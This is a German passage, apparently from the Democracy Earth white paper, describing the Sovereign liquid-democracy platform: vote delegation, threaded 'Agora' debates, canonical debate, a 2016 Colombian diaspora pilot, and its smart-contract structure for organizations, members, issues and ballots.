[[File:/images/liquid-mobile-ux.png|Souveräne mobile Oberfläche mit Anzeige von Entscheidung, Stimmzettel und Liquid Voting.]]
Die ''liquid bar'' erlaubt diese Aktionen:
* '''Sehe verfügbare ''votes''''': Da in einer liquiden Demokratie ein Benutzer 1 oder mehr delegierte ''Stimmen'' haben kann, hilft eine ständige Erinnerung an das Guthaben dem Benutzer, seine aktuelle Kraft innerhalb des Systems zu verstehen. Wenn einige der ''Stimmen'' mit strengen Bedingungen delegiert wurden (z. B. eine ''Tag Limited Delegation''), bedeutet dies, dass einem Benutzer nicht die gleiche Menge an ''Stimmen'' zur Verfügung steht, die er für jedes Thema verwenden kann.
* '''Sehe Verwendete ''votes''''': Es wird ein Prozentwert mit der Anzahl der ''Stimmen'' angezeigt, die derzeit für andere Entscheidungen abgegeben oder an andere Mitglieder der Community delegiert wurden. Der Benutzer kann jederzeit auf diesen Wert tippen oder klicken, um eine vollständige Liste der Themen anzuzeigen, bei denen er aktuell eine ''Stimme'' hat, und entscheiden, ob er sie dort belassen oder eine strategische Änderung vornehmen möchte.
* '''Verschieben von ''vote''''': Der Benutzer kann mit dem Daumen (oder per Mausklick) den Hebel der ''liquid bar'' verschieben und wird beim Loslassen eine Bestätigungsabfrage erhalten, ob er ''abstimmen'' will oder nicht.
* '''Tippen von ''vote''''': Wenn der Benutzer nicht mehr als 1 Stimme vergeben möchte, kann er einfach einmal auf den ''Liquid Bar''-Griff tippen und wird aufgefordert, eine einzelne ''Stimme'' zu bestätigen.
* '''Entfernen von ''votes''''': Solange die Umfrage noch offen ist, kann der Benutzer jederzeit seine "Stimmen" von einer Entscheidung entfernen, indem er einfach den "Liquid Bar"-Griff zurück in die Ausgangsposition schiebt.
Wir sehen diese Interaktion als einen Schritt vorwärts vom ''Gefällt mir''-Muster, das man in sozialen Medien findet. Likes'' beschränkt das Abstimmen auf gedankenlose Klicks und kann nach Belieben aufgeblasen werden. Da ''Votes'' als knappe Ressource im System fungieren, können sie nicht nach Belieben generiert werden und erfordern immer ein Minimum an taktischem Denken darüber, wie die Interaktion eines Benutzers eine bestimmte Entscheidung beeinflussen wird. ''Votes'' haben reale Auswirkungen auf den Benutzer als Stakeholder einer dezentralen Organisation, während ''Likes'' nur ihren kontrollierenden Konzernen dienen.
====2.3.2 Delegationen.====
Eine ''liquid bar'' zeigt auch die ''vote'' Delegations-Beziehung an, die ein Benutzer mit einem anderen Mitglied einer Organisation hat. Delegationen gehen in beide Richtungen:
* '''Gesendet''': Ein Benutzer muss in der Lage sein, jede seiner verfügbaren ''Stimmen'' zu delegieren und dabei die aktuelle delegierte Menge (falls vorhanden) zu überprüfen.
* '''Empfangen''': Ein Benutzer muss in der Lage sein zu verstehen, wie viele ''Stimmen'' von jemand anderem empfangen wurden.
Jedes Mal wenn ein Profil auf der Souveränitäts-Benutzeroberfläche angezeigt wird, wird der aktuelle Delegationsstatus zwischen dem Benutzer und dem Mitglied angezeigt.
[[File:/images/delegation-relation-votes.png|Ansicht der Stimmbildungsbeziehung mit einem anderen Mitglied.]]
====2.3.3 Agora.====
Sovereign hat auch eine Debattierkomponente mit dem Codenamen "Agora". Debatten sind wahrscheinlich genauso wichtig wie Abstimmungen in jeder Demokratie. Agoras zeigen ''threaded conversations'' an, ein erfolgreiches Design, das von [http://reddit.com Reddit] und [http://news.ycombinator.com Hacker News] eingeführt wurde. Wir halten dieses UX-Muster für den besten Weg, sich an durchdachten Unterhaltungen im Internet zu beteiligen, da sie die wertvollsten Kommentare aufblitzen lassen und dabei helfen, die Informationen für eine Debatte mithilfe der kollektiven Intelligenz der Gemeinschaft zu sortieren.
Aber im Gegensatz zu webbasierten Anwendungen erlaubt Sovereign keine Interaktionen mit Testimonials: Anstatt unendliche ''Upvotes'' oder ''Downvotes'' zuzulassen, löst es eine sofortige Delegation einer einzelnen ''Stimme'' aus, wenn der Benutzer mit einem Kommentar von jemand anderem auf der Plattform einverstanden ist. Daher erlauben Agoras:
* '''Upvote''': Senden Sie eine einzelne ''Vote/Stimme''-Delegation des Benutzers an den Kommentator.
* '''Downvote''': Wenn ein Benutzer mit dem Kommentar eines anderen Benutzers nicht einverstanden ist, kann ein ''Downvote'' entweder eine ''Stimme'' vom Kommentator zurück an den Benutzer senden, wenn es eine vorherige Delegationsbeziehung gab. Oder wenn keine Delegationsbeziehung zwischen ihnen besteht, dann wirkt ein ''downvote'' wie eine Strafe, die eine ''Stimme'' vom Kommentator zurück zu den Mitteln der Organisation sendet, die die Sovereign-Instanz implementiert. Die Kriterien für diese Art von Strafe können im ''constitutional smart contract'' der implementierenden Organisation festgelegt werden.
Dadurch werden Delegationen auf der Plattform häufiger. Debatten, die ständig dem Risiko von "Vote"-Transaktionen ausgesetzt sind, bedeuten, dass sie realen politischen Einflüssen ausgesetzt sind. Dieser Mechanismus kann dazu beitragen, gute Argumente zu belohnen und den Einfluss von Trolling zu bestrafen, ohne dass die Notwendigkeit besteht, moderierende Instanzen im System zu entwickeln.
====2.3.4 Faktenbasierte Debatte.====
Um Entscheidungen in konkreten Fakten und gemeinsamen Wahrheiten zu verankern, kann eine [https://words.democracy.earth/thecaseforcanonicaldebate-34811166bbb0 kanonische Debattenlösung] angewendet werden. In der Vergangenheit wurden Debatten überall dort geführt, wo sich Menschen, die sich für das Thema interessieren, zufällig treffen, sowohl online (in Foren, sozialen Medien, Nachrichten und so weiter) als auch offline (durch öffentliche Debatten und persönliche Begegnungen). Das ist ineffizient und teilweise ineffektiv, da Informationen (oft unvollkommen) wiederholt werden müssen und im chaotischen Durcheinander verloren gehen können. Das Gegenmittel zu diesem Problem ist die Definition eines einzigen kanonischen Ortes, an dem sich alle für einen Anspruch relevanten Diskussionen konzentrieren, so dass sich das kollektive Wissen der Gruppe ansammeln kann. Indem Wikipedia zum de-facto kanonischen Ort für Referenzinformationen wurde, ist sie zur größten Enzyklopädie der Welt geworden. Es ist an der Zeit, eine ähnliche Plattform für strittige Fakten und andere Diskussionsthemen zu definieren.
Eine kanonische Debatte ist von der Struktur her ähnlich wie eine [https://en.wikipedia.org/wiki/Argument_map argument map]. Eine Debatte dreht sich um eine einzelne Tatsachenbehauptung oder Wahrheit. Die Teilnehmer können dann Argumente vorschlagen, die diese Behauptung unterstützen oder angreifen. Andere Teilnehmer können dann neue Argumente vorschlagen, die diese Argumente angreifen oder verteidigen, und so weiter, bis alle möglichen Argumente ausgeschöpft sind. Eine kanonische Debatte nimmt eine einfache, aber tiefgreifende Änderung an diesem Modell vor, die es erlaubt, kollektives Wissen zu akkumulieren. Während eine typische Argumentationskarte jedes Argument als eine einzelne, in sich geschlossene Einheit bewertet (ist dies ein gutes Argument?), betrachtet eine kanonische Debatte ein Argument als aus zwei verschiedenen Teilen zusammengesetzt, die separat diskutiert werden: die Wahrheitskomponente (basiert dieses Argument auf Fakten?) und die Auswirkungskomponente (ist dieses Argument relevant und ist es wichtig?). Durch diese Unterscheidung wird deutlich, dass die Tatsachenbasis, auf der ein Argument steht, eigentlich eine ganz eigene Behauptung ist. Somit ist ein Argument eigentlich die Verwendung einer Behauptung, um die vorgeschlagene Wahrheit einer anderen zu unterstützen oder anzugreifen. Während eine Argumentationskarte als ein eigenständiger Baum von Argumenten und Unterargumenten betrachtet werden kann, die sich auf eine einzelne Behauptung beziehen, ist die kanonische Debatte eigentlich ein komplettes Diagramm von Behauptungen, von denen jede für sich eine Debatte ist, die verwendet wird, um andere zu unterstützen oder zu widerlegen.
Das Ergebnis jeder dieser Debatten ist eine Punktzahl, die den Grad des Vertrauens in die Wahrheit oder Gültigkeit der Behauptung angibt. Wir können uns diese Punktzahl als einen Prozentwert vorstellen, von 0 % bis 100 %, wobei 0 % bedeutet, dass die Aussage völlig falsch ist, und 100 %, dass sie als unbestreitbar wahr angesehen wird. Wenn eine Behauptung als Argument verwendet wird, um eine andere Behauptung zu unterstützen oder anzugreifen, gibt es, wie bereits erwähnt, einen zweiten Wert: die Relevanz, über die ebenfalls diskutiert werden kann. Wenn die Relevanz ebenfalls auf einer Skala von 0% bis 100% liegt, dann können wir sagen, dass die STÄRKE eines Arguments seine Relevanz mal die Wahrheit seiner Basisbehauptung ist, was zu einer Endpunktzahl führt, die ebenfalls zwischen 0% (ein Argument, das völlig ignoriert werden kann) und 100% (ein Argument, das nicht geleugnet werden kann und von maximaler Bedeutung ist) liegt. Auf diese Weise demonstriert der Graph der Behauptungen, wie sich unser Wissen anhäufen kann: Stellen Sie sich mehrere Behauptungen vor, die auf der Grundlage einer anderen Behauptung "bewiesen" wurden (z. B. "Eier sind schlecht für die Gesundheit"). Wenn neue Beweise auftauchen, die die vorherige Basisbehauptung entkräften, kann dies Auswirkungen auf alle damit verbundenen Behauptungen haben (z. B. "Die Regierung sollte die Produktion von Eiern verbieten").
Es gibt viele Möglichkeiten, diese Punktzahl zu berechnen, einschließlich der Verwendung der öffentlichen Meinung (ein Vertrauensvotum) und der Erstellung einer objektiven Punktzahl, die rein auf dem Gewicht der Argumente und Beweise basiert. Eine Bewertung ist einfach ein mathematisches Modell, das versucht sich dem anzunähern, was als "Wahrheit" angesehen werden kann. Leider führt jedes Modell eine Art von Verzerrung in das Ergebnis ein. Zum Beispiel kann die Darstellung der Volksmeinung eine Verzerrung zugunsten der populäreren Stimme einführen (vgl. [https://en.wikipedia.org/wiki/Bandwagon_effect the Bandwagon Effect] ). Auf der anderen Seite stößt der Versuch, eine völlig objektive Bewertung zu formulieren, auf ernsthafte Herausforderungen, wenn es sich um rein subjektive Beweise handelt (wie z. B. bei Augenzeugeninformationen, denen es an unterstützenden physischen Beweisen fehlt). Daher sollte die Plattform die Betrachtung der Ergebnisse einer Debatte aus mehreren Perspektiven und Modellen unterstützen.
Die vielfältigen Perspektiven bieten eine weitere Chance für diese Art von Plattform. Eine Debatte, in der nur Ergebnisse geteilt werden (d. h. es gibt nur ein Ergebnis, das von allen akzeptiert werden muss), könnte jeden, der anderer Meinung ist, von der Plattform entfremden. Genauso wie es oft eine [http://www.bbc.com/news/world-australia-43339804 Not My President]-Bewegung nach Wahlen gibt, würde eine Debatte mit dem "falschen" Ergebnis eine "Nicht meine Debatte"-Bewegung hervorrufen, die Menschen dazu zwingt, sich außerhalb der kanonischen Debatte zu versammeln und das Ergebnis zu vereiteln/verhindern. Eine kanonische Debatte kann dies berücksichtigen, indem sie den Teilnehmern anbietet, die Ergebnisse basierend auf ihren eigenen Überzeugungen zu sehen ("Andere Leute denken, dass Eier gut für Sie sind, aber ich weiß, dass das nicht stimmt."). Indem man den Benutzern erlaubt, die Ergebnisse basierend auf ihren eigenen Überzeugungen zu sehen, können sie sich frei fühlen, das Ergebnis anderer Debatten ebenfalls basierend auf ihren persönlichen Überzeugungen zu sehen. Es wäre dann auch möglich, die kollektiven Ansichten (anonym) von jemand anderem zu sehen, der anderer Meinung ist als man selbst. Und als letzter Vorteil wäre es möglich, Widersprüche in Ihren eigenen Überzeugungen oder in den Überzeugungen anderer zu sehen.
Ein letzter Aspekt kanonischer Debatten, der wichtig zu beachten ist, ist die Notwendigkeit der Vermittlung von Kontext. Kontext im informellen Sinne des Wortes wird oft verwendet, um den Rahmen einer Debatte zu bezeichnen, die Bedingungen und Informationen, die notwendig sind, um genau zu verstehen, was gesagt wird. In einer kanonischen Debatte wird dies dadurch erfüllt, dass eine Behauptung als Argument für den Beweis oder die Widerlegung einer anderen Behauptung "benutzt" wird. Das Argument wird im Kontext der Zielbehauptung geliefert, und Debatten über seine Relevanz drehen sich speziell um die Brauchbarkeit der einen Behauptung im Kontext der anderen. Eine weitere Herausforderung, die mit dem Kontext zusammenhängt, ist die Festlegung einer strengen Definition einer Behauptung, um sicherzustellen, dass alle Teilnehmer genau das Gleiche diskutieren. Wenn beispielsweise eine Behauptung über "Paris" aufgestellt wird, sollte festgestellt werden, ob sich dieser Begriff auf die Stadt in Frankreich, die Stadt in Texas oder den mythologischen Prinzen von Troja bezieht. Es sollte auch eine Möglichkeit geben, zwischen verschiedenen Ebenen der Spezifität zu unterscheiden und zwischen ihnen zu navigieren. Im Beispiel "Eier sind schlecht für die Gesundheit" wäre es vielleicht interessanter, zuerst eine spezifischere Debatte zu führen, wie z. B. festzustellen, dass "Der Verzehr von Eiern mehr als dreimal pro Woche den Spiegel von schlechtem Cholesterin erhöhen kann", oder spezifischer zu behaupten, dass "Eier sind schlecht für Frauen über 40 Jahre". Die für diesen Mechanismus vorgeschlagene Lösung besteht darin, jede Behauptung mit genauen Verweisen, den so genannten "Kontexten", auf Elemente eines Wissensgraphen zu verknüpfen, wie z. B. den [https://www.google.com/intl/bn/insidesearch/features/search/knowledge.html Google Knowledge Graph] oder [https://wiki.dbpedia.org/ DBpedia]. Durch die Verknüpfung von Behauptungen mit bestimmten Punkten in einem Wissensgraphen wird es nicht nur möglich, Aussagen zu disambiguieren, sondern auch leicht zwischen Behauptungen zu navigieren, die über mehrere Dimensionen hinweg mit dem Thema zusammenhängen (z. B. von einer Debatte über die Gesundheit des Verzehrs von Eiern zu etwas Allgemeinerem (die Gesundheit des Verzehrs von tierischen Produkten), etwas Speziellerem (die Gesundheit des Verzehrs von Wachteleiern) oder etwas, das eher seitlich zusammenhängt (z. B. andere Dinge, die man mit Eiern machen kann, wie sie zu kochen oder sie zu werfen).
Während die Agora eine Diskussion zwischen Einzelpersonen unterstützt, werden bei der kanonischen Debatte die Argumente von den Personen, die das Argument vorbringen, entfernt, um bestimmte Arten von Voreingenommenheit zu beseitigen und die Diskussion auf die Argumentation und die verfügbaren Informationen zu konzentrieren. Jedes Argument wird anonym vorgetragen, und es wird keinerlei Rücksicht auf diejenigen genommen, die als Experten auf dem jeweiligen Gebiet gelten. Experten werden jedoch nicht von der Debatte ausgeschlossen - ganz im Gegenteil. Ein "Experte" ist in diesem Zusammenhang jeder, der die besten und relevantesten Argumente auf den Tisch bringen kann. Echte Experten sind diejenigen, die echte Beweise liefern und Punkte bis ins kleinste Detail diskutieren können. Im Gegensatz zu den ungeordneten Debatten, die online über Social-Media-Plattformen geführt werden, die Experteninformationen zugunsten von populären oder unterhaltsamen Aussagen übertönen können, ist eine kanonische Debatte so strukturiert, dass die Argumente mit der meisten Substanz hervorgehoben werden.
=== 2.4 Pilot ===
<blockquote>
Die Blockchain könnte die Wahlen stören, genau wie es Währungen dieser Welt gestört/verändert hat. Sie könnte auf jede demokratische Regierung angewendet werden.
</blockquote>
[https://www.oecd.org/gov/innovative-government/embracing-innovation-in-government-colombia.pdf '''The Organization for Economic Cooperation and Development'''], Embracing innovation in government: global trends (2016). (Übersetzt: "Innovation in der Verwaltung fördern")
Im Oktober 2016, nach einem schockierenden, fast allgemein unerwarteten Nein zum Frieden im kolumbianischen Referendum, das jahrelange Verhandlungen zwischen der Regierung und der marxistischen Narco-Guerilla gefährdete, pilotierte Democracy Earth die Sovereign Liquid Democracy Plattform in einem [http://plebiscitodigital.co/ digitalen Plebiszit], das eine symbolische Abstimmung unter der Diaspora von ~6 Millionen im Ausland lebenden Bürgern durchführte. Anstatt den Wählern eine binäre Option zu geben, ermöglichte das Pilotprojekt den Menschen, separat über sieben individuelle Unterthemen des vorgeschlagenen Vertrages abzustimmen sowie ihre Stimmen an sachkundigere Wähler zu delegieren. Die Ergebnisse enthüllten wichtige Nuancen in den Präferenzen der Wähler, die im Referendum nicht erfasst wurden, einschließlich des [https://words.democracy.earth/a-digital-referendum-for-colombias-diaspora-aeef071ec014 deal breaker, der sich herausstellte]: ein überwältigendes "Nein" unter den Pilotteilnehmern zu einer bestimmten Aussage des Vertrages bezüglich der politischen Beteiligung der FARC.
[[File:/images/colombia-use-case.png|Colombia use case data..]]
Die Pilotstudie hatte den [https://www.oecd.org/gov/innovative-government/embracing-innovation-in-government-colombia.pdf zusätzlichen Effekt], das mediale und politische Profil der Blockchain-gestützten, dezentralisierten Liquid Democracy in Kolumbien zu erhöhen; eine Blockchain-versierte politische Partei ist entstanden, die Partei Partido de la Red Colombia ("Die Netzpartei"), während das Zentrum für digitale öffentliche Innovation (CDPI) der kolumbianischen Regierung die Technologie ebenfalls untersucht.
===2.5 Smart Contracts.===
Als Claude Shannon 1948 seine [http://math.harvard.edu/~ctm/home/text/others/shannon/entropy/entropy.pdf grundlegende Arbeit zur Informationstheorie] schrieb, konnte er zeigen, wie Schaltkreise logische Funktionen ausführen können, indem sie einen binären Zustand von 1 oder 0 ausdrücken (<code>wahre</code> oder <code>falsche</code> Zustände). Seitdem hat die Digitaltechnik die Dynamik von Informationssystemen aller Art geprägt. Vor diesem Hintergrund haben wir uns darauf konzentriert, ein effizientes Design für eine Governance-Maschine zu entwickeln, die mit Blockchains arbeiten kann und ihre menschlichen Bediener mittels der Abstimmung als souveräne Herrscher behält. Auf die gleiche Weise, wie sich Bits in Computern bewegen und einen <code>wahren</code> oder <code>falschen</code> Zustand signalisieren, signalisieren ''Stimmen'' einen booleschen Wert für institutionelle Entscheidungen, die unter Smart Contracts aufgezeichnet werden.
Die ''vote''-Token operieren innerhalb der institutionellen Grenzen, die mit diesem Vertragspaket (contracts) geschaffen wurden: <code>Organizations</code>, <code>Members</code>, <code>Issues</code>, <code>Ballots</code> und <code>Budgets</code>. Dies sind die Bausteine, die helfen, einen Governance-Kreislauf zu schaffen, der skaliert werden kann, um flexible Demokratien (Liquid Democracies) in Gemeinschaften jeder Größe zu betreiben.
[[File:/images/vote-liquid-democracy-smart-contracts.png|VOTE Liquid Democracy smart contracts..]]
====2.5.1 <code>Organisationen</code>====
Die Entität oder Institution, die eine Sovereign-Instanz implementiert, wird als <code>Organization</code> bezeichnet. Diese Entität fungiert als leitende Instanz, die festlegt, welche <code>Member</code> an ihren Entscheidungen teilnehmen dürfen, und ihnen ''vote''-Token gewährt. Da <code>Organizations</code> in einem dezentralen Netzwerk existieren können, sind die Anforderungen, damit eine Entität mit ''votes'' arbeiten kann, ähnlich wie beim Einrichten einer Website:
* <code>Domain</code>: Jede Organisation muss ihren eigenen Domain-Namen haben (z. B. ''democracy.earth'' auf dem Hypertext Transfer Protocol oder HTTP). Einige können sogar einen Namensraum haben, der als Top Level Domain oder TLD läuft (z. B. ''.earth''). Dieser Referenzcode für eine <code>Organization</code> innerhalb eines offenen Netzwerks, sei es das Legacy-Web wie in HTTP oder neue aufstrebende Netzwerke für dezentrale Domains wie [https://blockstack.org Blockstack], ist entscheidend, um eine semantische Schicht aufzubauen, die <code>Issues</code> effektiv beschreibt, ohne das Risiko, dass Wähler Tags in einem geschlossenen System manipulieren (in Abschnitt 2.6.5 als ''Squatting'' bezeichnet). Domänennamen helfen bei der Beschreibung eines <code>Issues</code> und schränken den Umfang eines Delegationsvertrags ein.
* <code>Verfassung</code>: Jede Organisation hat eine ''Constitution'', die ihre grundlegenden Regeln in Form eines Smart Contracts definiert. Der ''constitutional smart contract'' beschreibt, wie <code>Member</code>, <code>Issues</code> und ''votes'' innerhalb des Systems zusammenhängen.
=====2.5.1.1 <code>Verfassung (Constitution)</code>=====
Der "constitutional smart contract" bestimmt neben anderen Governance-Entscheidungen, wie die "votes" an die Mitglieder vergeben werden. Die Zuteilungsbedingungen sind ein Vorrecht der Organisation, abhängig von ihren Zielen: In einigen Fällen kann sie an finanziellen Rechten ausgerichtet sein (z. B. erhalten die Aktionäre einer Aktiengesellschaft eine "vote" (Stimme) pro Aktie); in anderen Fällen kann sie auf Basis einer egalitären Verteilung an alle Mitglieder zugewiesen werden (z. B. erhalten alle Steuerzahler innerhalb einer Gerichtsbarkeit die gleiche Anzahl an "votes").
Die Grundeinstellungen, die Sie bei einer Konstitution finden, sind:
* '''Decentralized ID''' (oder URL): Ein Bezeichner, der dabei hilft, auf die <code>Organization</code> an einem beliebigen Ort im Netzwerk zu verweisen und dass sie mit ihrer <code>Domain</code> zu verbinden.
* '''Biographie''': Eine grundlegende Beschreibung der Organisation einschließlich Name, Website, Adresse, Gerichtsbarkeit (falls zutreffend).
* '''Finanzierung''': Die Menge der ''Vote''-Token, die diese Organisation verwalten wird und wie diese jedem Mitglied zugewiesen werden und Zugriff auf <code>Budgets</code> gewähren.
* '''Mitgliedschaft''': Anforderungen, um ein gültiges Mitglied innerhalb der Organisation zu werden. Diese Kriterien definieren das Wählerverzeichnis, das einen fairen Wahlprozess einer Demokratie garantiert und von seinen Mitgliedern überprüft werden kann.
** '''Open''': Jeder kann freiwillig einer Organisation beitreten.
** '''Voted''': Bestehende Mitglieder müssen über Bewerber abstimmen. Es muss ein prozentuales Kriterium für die Zustimmung festgelegt werden.
** '''Bebühren''': Die Organisation verlangt eine Zahlung für die Mitgliedschaft.
* '''Inhalt''': Legt fest, wer in der Organisation <code>Issues</code> (Themen/Fragen) veröffentlichen darf.
** '''Open''': Jeder (ob Mitglied oder nicht) kann Beiträge schreiben. Nur Mitglieder erhalten das Recht, abzustimmen.
** '''Mitglieder''': Nur zugelassene Mitglieder haben das Recht zu posten.
** '''Special Members''': Mitglieder, die bestimmte Kriterien erfüllen (z. B. ein Minimum an delegierten ''votes'' oder ''votes'', die unter einem bestimmten Tag erhalten wurden), haben das Recht zu posten.
** '''Anonymous''': Legt fest, ob anonyme Inhalte gepostet werden dürfen.
* '''Moderation''': Beschreibt die Regeln, die helfen, einen Verhaltenskodex unter den Mitgliedern einer Organisation zu formulieren.
** '''Sperre''': Eine Anzahl von ''downvotes'', die erforderlich ist, um ein Mitglied von der Teilnahme an der Organisation auszuschließen, und die damit verbundene Strafe (z. B. eine Zeitspanne)
** '''Ausschluss''': Wenn eine Organisation auf ''Voted Membership Approval'' basiert, kann ein Mitglied negative Stimmen von anderen Mitgliedern erhalten, die signalisieren, dass diese Identität korrumpiert wurde oder nicht mehr Teil der Organisation ist. Dieses Kriterium kann als ein erforderlicher Mindestprozentsatz festgelegt werden.
* '''Voting''': Die erlaubten <code>Ballots</code> (Stimmzettel) für die von der Organisation zu treffenden Entscheidungen und spezielle Einstellungen wie ''quadratic voting''.
* '''Reform''': Die Erfordernisse für die Änderung von Regeln, die in einer ''Constitution'' festgelegt sind (z.B. eine besondere Mehrheit).
Vorlagen, die gemeinsame Praktiken für bestimmte Arten von Organisationen definieren, werden gefördert, um den Aufbau von Organisationen zu vereinfachen. Dies wird durch die Zusammenarbeit mit der Democracy Earth Foundation in Partnerschaft mit [https://aragon.one/ Aragon] unterstützt, der an einer digitalen Gerichtsbarkeit arbeitet, die dezentralisierte Organisationen effizient macht. Sovereign wird unter anderem Vorlagen für Unternehmen, politische Parteien, Gewerkschaften, Vereine und Genossenschaften beinhalten; egal welche Form die Organisation annimmt, Aragons dezentrales Netzwerk stellt sicher, dass ein Unternehmen immer funktioniert, auch angesichts böswilliger Manipulationen durch feindliche Dritte oder missbräuchliche Regierungen.
====2.5.2 <code>Mitglieder</code>====
Jede Organisation hat Mitglieder, die das Recht haben, über die Entscheidungen der Organisation abzustimmen. Die Kriterien für die Mitgliedschaft werden im "constitutional smart contract" definiert und sind der Schlüssel für das Vertrauen in jeder demokratischen Umgebung. Eine der häufigsten Möglichkeiten eine Wahl zu unterwandern, ist die Manipulation des Wählerverzeichnisses. Die Absicherung dieses Aspekts mit kryptographischen Mitteln sowie einem Genehmigungsprotokoll ist entscheidend. Sobald ein Mitglied in einer Organisation zugelassen ist, erhält es eine bestimmte Anzahl von "votes", mit denen es die Organisation steuern kann.
Alle <code>Organizations</code>, die die Verantwortung übernehmen, <code>Mitglieder</code> zu genehmigen oder abzulehnen, tragen mit dieser Aufgabe zum ''Identitätsnachweis''-Prozess bei, der in Abschnitt 3.3 beschrieben ist.
Die Kompatibilität mit dezentralen Identitätsprotokollen wird gefördert, um eine dezentrale Verwaltung zu gewährleisten. Die vom [https://www.w3.org/ W3C] vorgeschlagene [https://opencreds.github.io/did-spec/ Spezifikation von DIDs (dezentrale Identifikatoren analog zu den URIs im Web)], die eine selbstsouveräne, überprüfbare digitale Identität ermöglicht, wird empfohlen.
====2.5.3 <code>Fragen/Themen (Issues)</code>====
Eine Organisation besteht aus einer Sammlung von ''issues'', die jeweils eine von den Mitgliedern zu treffende Entscheidung beschreiben. Die Eigenschaften der Mitglieder, die im "constitutional smart contract" beschrieben werden, definieren die Stimm- und Veröffentlichungsrechte der Mitglieder. Ein ''issue'' (Thema) in seiner grundlegendsten Form hat diese Eigenschaften:
* <code>Beschreibung</code>: Text der zu treffenden Entscheidung.
* <code>Tags</code>: Kategorien, die die Entscheidung innerhalb der Organisation beschreiben. Dies hilft den Mitgliedern, über Themen zu navigieren, Bereiche oder Teams innerhalb einer Organisation zu definieren und den Umfang einer Delegation von ''votes'' zu begrenzen. Wenn die Implementierung mit Blockchain-Umgebungen erfolgt, die zur Verwaltung einer festen Taxonomie verwendet werden (wie [http://blockstack.org Blockstack]), hilft eine eine gemeinsame Sprache für Tags, basierend auf der dezentralen Domänen. Dies Hilfe, die demokratische Umgebung fairer zu machen, da somit verhindert werden kann, dass Mitglieder versuchen Namenskonventionen zu ihrem eigenen Vorteil zu kontrollieren. Aus diesem Grund sind in einem offenen Netzwerk <code>Tags</code>, die <code>Issues</code> beschreiben oder zur Einschränkung von Delegationen verwendet werden, Zeiger auf andere <code>Organisationen</code>. Dies wird im ''Proof of Identity''-Prozess detailliert beschrieben.
* <code>Unterschriften/Signaturen</code>: Mitglieder, die den Vorschlag verfassen. Er kann anonym bleiben, wenn die Governance-Regeln einer Organisation dies zulassen.
* <code>Stimmzettel</code>: Die vorgestellten Optionen zur Beteiligung der Wähler an dieser Entscheidung.
* <code>Budget</code>: Ein optionales Element, das gesperrte Gelder in einer Kryptowährungsadresse enthalten kann. Dabei kann die Transaktion ausgeführt werden, wenn für eine Entscheidung gestimmt wird.
* <code>Zeitspanne</code>: Für die Endabstimmung muss eine offene Umfrage auch ihren zeitlichen Rahmen festlegen und die Art der Entscheidung definieren. Es gibt zwei Arten von Entscheidungen:
** <code>Taktisch</code> (zeitlich begrenzt): Dies sind Verträge, die "votes" erhalten, bis ein Enddatum erreicht ist, wobei eine bestimmte Blockhöhe innerhalb der Blockchain festgelegt werden kann, welche die "Vote"-Smart-Contract implementiert. Sobald alle Transaktionen zusammengezählt wurden und ein Endergebnis festgehalten wurde, werden alle Token an die entsprechenden Wähler zurückgegeben und können bei zukünftigen Entscheidungen erneut verwendet werden.
** <code>Strategisch</code> (zeitlich unbegrenzt): Unbegrenzte offene Umfragen, die ständig den Konsens eines Entscheidungszustandes registrieren. Die ''votes'' können von den Wählern jederzeit zurückgeholt werden, wenn sie das Bedürfnis haben ihre Stimme zur Unterstützung oder Ablehnung einer Entscheidung nicht mehr abzugeben. Solange der Token jedoch zur Signalisierung einer Präferenz auf einem Wahlzettel (Contract ballot) ohne Abschlussdatum vergeben wird, ist er Teil der strategischen Entscheidung. Eine häufige Anwendung für strategische Entscheidungen kann sein, dass die Mitglieder für die Zustimmung anderer Mitglieder innerhalb der Gemeinschaft einer Organisation abstimmen.
====2.5.4 <code>Stimmzettel (Ballot)</code>====
Eine Ausgabe kann mit jedem möglichen Abstimmungsdesign gemäß den im ''constitutional smart contract'' der Organisation definierten Spezifikationen implementiert werden. Die Bausteine für einen Stimmzettel sind seine <code>Interface</code>, <code>Options</code> und <code>Criteria</code>.
=====2.5.4.1 <code>Schnittstelle (Interface)</code>=====
Standardmäßig bietet Sovereign die am häufigsten verwendeten Auswahlmechanismen für die Interaktion mit Abstimmungen. Weitere Innovationen bei den Abstimmungsschnittstellen sind erwünscht.
* <code>SingleChoice</code>: Eine wählbare Option.
* <code>MultipleChoice</code>: Eine oder mehrere wählbare Optionen.
* [https://en.wikipedia.org/wiki/Cardinal_voting <code>Cardinal</code>]: Eine bestimmte Punktzahl pro Option mit einem vordefinierten Wertebereich.
* [https://en.wikipedia.org/wiki/Ranked_voting <code>Ranked</code>]: Sortierbare Optionen als Rangfolge der Präferenzen. [https://en.wikipedia.org/wiki/Arrow%27s_impossibility_theorem Arrow's impossibility theorem] muss bei jeder Neuerung in Bezug auf Ranglistenwahlen beachtet werden. Dieses Theorem besagt, dass rangbasierte Wahlsysteme nicht in der Lage sind, Fairness in drei wesentlichen Aspekten gleichzeitig zu erfüllen:
** '''Uneingeschränkte Domäne''': alle Präferenzen aller Wähler sind erlaubt.
** '''Nicht-Diktatur''': Kein einzelner Wähler besitzt die Macht, immer die gesellschaftliche Präferenz zu bestimmen.
** '''Pareto-Effizienz''': Wenn jeder Wähler eine Option einer anderen vorzieht, dann muss auch die resultierende gesellschaftliche Präferenzordnung stimmen.
=====2.5.4.2 <code>Optionen</code>=====
Um die Informationsverarbeitung von ''votes'' zu ermöglichen, tragen Stimmzettel boolesche Werte, die in ihren Optionen ausgedrückt werden. Dadurch können ''vote''-Transaktionen einen ''Entscheidungszustand (decision state)'' signalisieren, der als eine Kraft wirkt, die die institutionellen Entscheidungen für die implementierende Organisation modelliert. Dies macht alle dezentralen Organisationen auch zu programmierbaren Institutionen. Optionen können dann sein:
* <code>Wahr</code>: Er signalisiert einen booleschen Wert <code>wahr</code>, wenn er ausgewählt ist (oft mit den Beschriftungsstrings "Ja" oder "Positiv" beschrieben).
* <code>Falsch</code>: Signalisiert einen <code>falschen</code> Zustand (kann z. B. die Beschriftungen 'Nein' oder 'Negativ' anzeigen).
* <code>Verbunden</code>: Die Option ist mit einer anderen Entscheidung innerhalb der Organisation verbunden.
* <code>Kandidat</code>: Ein Mitglied oder eine Liste von <code>Mitgliedern</code> der Organisation. Dies hilft bei der Wahl von Autoritäten innerhalb der Organisation oder es kann für Mitgliedschaftsgenehmigungen verwendet werden.
=====2.5.4.3 <code>Criteria</code>=====
Abschließend Zählmethoden für das endgültige oder laufende Ergebnis einer Entscheidung innerhalb einer Organisation.
* <code>Pluralität</code>: Eine einfache Mehrheit gewinnt eine Entscheidung.
